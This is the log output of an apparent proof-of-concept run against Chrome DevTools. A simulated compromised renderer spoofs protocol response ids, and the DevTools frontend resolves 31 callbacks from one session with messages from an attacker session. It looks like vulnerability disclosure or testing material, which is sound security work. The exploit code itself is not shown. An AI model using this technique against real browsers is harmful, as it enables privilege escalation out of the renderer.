[*] server pid=48151, profile=/tmp/chrome-poc-profile.juE03S
[*] launching chrome with --auto-open-devtools-for-tabs ...

====================================================================
 RESULTS  (full log: /poc-artifacts/chrome-stderr.log)
====================================================================

## Compromised-renderer activity (spoofed responses sent over Mojo):
[48247:48247:0516/033941.798919:ERROR:third_party/blink/renderer/core/inspector/devtools_session.cc:313] [POC-RENDERER] attacker session 30CF66FE4FC99609EE85D45A7742FA75 observed call_id=52 method=Network.enable -> spoofing ids 49..92
[48247:48247:0516/033941.799845:ERROR:third_party/blink/renderer/core/inspector/devtools_session.cc:313] [POC-RENDERER] attacker session 30CF66FE4FC99609EE85D45A7742FA75 observed call_id=53 method=Network.configureDurableMessages -> spoofing ids 50..93
[48247:48247:0516/033941.800693:ERROR:third_party/blink/renderer/core/inspector/devtools_session.cc:313] [POC-RENDERER] attacker session 30CF66FE4FC99609EE85D45A7742FA75 observed call_id=54 method=Network.setAttachDebugStack -> spoofing ids 51..94

## Cross-session callback resolutions in the DevTools frontend:
##   (callback issued on session A resolved by message from session B)

[48155:48155:0516/033941.912432:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=85 method=Overlay.setShowGridOverlays issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":85,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.914812:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=86 method=Overlay.setShowFlexOverlays issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":86,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.916714:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=87 method=Overlay.setShowScrollSnapOverlays issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":87,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.916790:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=88 method=Overlay.setShowContainerQueryOverlays issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":88,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.916863:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=89 method=Overlay.setShowIsolatedElements issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":89,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.916916:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=90 method=CSS.getComputedStyleForNode issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":90,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.916972:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=91 method=CSS.getComputedStyleForNode issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":91,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.917441:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=92 method=CSS.getComputedStyleForNode issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":92,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.921226:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=93 method=CSS.getComputedStyleForNode issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":93,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.924922:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=94 method=DOM.setInspectedNode issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":94,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.930561:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=95 method=DOM.requestChildNodes issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":95,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.935629:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=96 method=CSS.trackComputedStyleUpdates issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":96,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.939531:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=97 method=CSS.trackComputedStyleUpdates issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":97,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.943863:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=98 method=DOM.pushNodesByBackendIdsToFrontend issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":98,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.947896:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=99 method=Overlay.setShowGridOverlays issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":99,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.950795:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=100 method=Overlay.setShowFlexOverlays issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":100,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.956798:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=101 method=Overlay.setShowScrollSnapOverlays issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":101,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.959816:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=102 method=Overlay.setShowContainerQueryOverlays issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":102,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.962556:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=103 method=Overlay.setShowIsolatedElements issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":103,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.965126:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=104 method=Network.loadNetworkResource issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":104,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.969900:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=105 method=CSS.getInlineStylesForNode issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":105,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.973369:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=106 method=CSS.getPlatformFontsForNode issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":106,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.976161:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=107 method=CSS.getMatchedStylesForNode issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":107,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.977119:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=108 method=CSS.getAnimatedStylesForNode issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":108,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.978958:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=109 method=DOM.resolveNode issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":109,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.995451:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=115 method=Overlay.hideHighlight issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":115,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033941.996438:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=117 method=CSS.getEnvironmentVariables issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":117,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033942.001503:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=118 method=CSS.getComputedStyleForNode issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":118,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033942.104782:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=120 method=CSS.takeComputedStyleUpdates issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":120,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033942.105168:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=121 method=Page.addScriptToEvaluateOnNewDocument issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":121,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)
[48155:48155:0516/033942.106288:ERROR:CONSOLE:1] "[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: callback id=122 method=Debugger.setBlackboxExecutionContexts issued on session="46B6F5AA6B1E3BF2D5D1008CB46D1F47" was resolved by message from session="30CF66FE4FC99609EE85D45A7742FA75" body={"id":122,"result":{"__SPOOFED_BY_ATTACKER_SESSION":"30CF66FE4FC99609EE85D45A7742FA75"},"sessionId":"30CF66FE4FC99609EE85D45A7742FA75"}", source: devtools://devtools/bundled/core/protocol_client/protocol_client.js (1)

[+] Vulnerability TRIGGERED: 31 cross-session CDP callback hijacks observed.